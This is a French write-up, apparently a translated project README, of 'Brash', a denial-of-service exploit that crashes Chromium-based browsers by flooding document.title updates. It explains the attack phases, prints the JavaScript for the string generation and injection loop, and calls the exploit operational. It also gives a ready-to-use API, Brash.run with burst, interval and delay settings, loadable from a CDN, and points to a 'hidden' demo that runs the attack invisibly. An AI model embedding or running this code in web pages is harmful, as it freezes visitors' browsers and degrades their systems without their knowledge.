
Attaque DoS sur le navigateur Chromium via l'exploitation de document.title

Brash est une vulnérabilité critique dans Blink, le moteur de rendu qui alimente les navigateurs basés sur Chromium de Google. Elle permet à tout navigateur Chromium de s'effondrer en 15 à 60 secondes en exploitant une faille architecturale dans la gestion de certaines opérations DOM.
Le vecteur d'attaque provient de l'absence totale de limitation de débit sur les mises à jour de l'API document.title. Cela permet d'injecter des millions de mutations DOM par seconde, et pendant cette tentative d'injection, sature le thread principal, perturbant la boucle d'événements et provoquant l'effondrement de l'interface. L'impact est significatif : cela consomme d'importantes ressources CPU, dégrade les performances globales du système et peut stopper ou ralentir d'autres processus s'exécutant simultanément. En affectant les navigateurs Chromium sur les environnements de bureau, Android et embarqués, cette vulnérabilité expose plus de 3 milliards de personnes sur Internet à un déni de service au niveau système.
STATUT : Opérationnel
VERSIONS AFFECTÉES : Chromium ≤ 143.0.7483.0 (testé : 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)
[!NOTE] L'exploit est actuellement opérationnel. Une fois la vulnérabilité corrigée, ce code cessera de fonctionner. Néanmoins, découvrir cette faille architecturale et mener à bien l'ensemble du processus de recherche, de documentation et de conception pour partager quelque chose d'impactant avec le monde a été un parcours incroyablement enrichissant.
11 navigateurs majeurs ont été testés sur macOS, Windows et Linux pour valider l'impact de la vulnérabilité.
Tous les navigateurs basés sur Chromium sont vulnérables car la faille se trouve au cœur du moteur de rendu Blink :
Brash exploite une faille architecturale fondamentale dans le moteur de rendu Blink : l'absence de limitation (throttling) sur les mises à jour de document.title. L'attaque se déroule en trois phases critiques :
Génère 100 chaînes hexadécimales uniques de 512 caractères et les stocke en mémoire avant de lancer l'attaque.
Pourquoi les pré-charger plutôt que de les générer en temps réel ?
Parce que générer en permanence de nouvelles chaînes consomme du temps CPU pour des opérations mathématiques. Ce temps est critique : chaque milliseconde passée à générer des chaînes est un temps NON utilisé pour bombarder le navigateur de mises à jour document.title.
En ayant 100 chaînes déjà chargées en mémoire :
Par conséquent, nous obtenons une vitesse d'injection maximale avec une consommation mémoire maximale par mise à jour.
// Generates high-entropy unique IDs
gid: function() {
let id = "";
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
}
Exécute des rafales configurables de mises à jour du titre. Avec la configuration par défaut (burst : 8000, intervalle : 1 ms), il tente d'injecter environ 24 millions de mises à jour par seconde, et c'est au cours de cette tentative que l'effondrement du navigateur commence.
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
const t = this.titles[Math.random() * this.titles.length | 0x0];
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i; // Each burst performs 3 sequential updates
}
this.counter += 0x3;
}
Les mises à jour continues saturent le thread principal du navigateur, empêchant le traitement des autres événements :
Chronologie de l'effondrement :
Pourquoi cela fonctionne-t-il ?
Blink traite chaque modification de document.title de manière synchrone sur le thread principal, sans limitation de débit. Cela crée un goulot d'étranglement qui :
Pour bien comprendre l'impact de Brash, vous pouvez expérimenter l'exploit dans différents contextes, d'une démo en direct contrôlée à votre propre implémentation. Chaque option est conçue pour différents niveaux d'interaction et de compréhension technique.
Le moyen le plus rapide de voir Brash en action. Rendez-vous sur https://brash.run
Pour voir l'exploit sans interface graphique, visitez https://brash.run/hidden-live-demo.html. Cette version exécute l'injection de manière invisible, simulant une véritable attaque.
Si vous préférez exécuter la démo dans votre propre environnement, le répertoire exploit-demo/ inclus dans le dépôt vous permet de :
Ouvrez simplement exploit-demo/index.html dans n'importe quel navigateur Chromium et configurez les valeurs burst et interval avant de commencer.
Pour intégrer Brash dans vos propres tests de sécurité ou recherches, incluez le script et configurez l'attaque :
Inclure le script :
<!-- Local -->
<script src="brash.js"></script>
<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>
Utilisation de l'API :
// 1. Immediate attack
Brash.run({
burstSize: 8000,
interval: 1
});
// 2. Delay in seconds (default)
Brash.run({
burstSize: 8000,
interval: 1,
delay: 30 // 30 seconds
});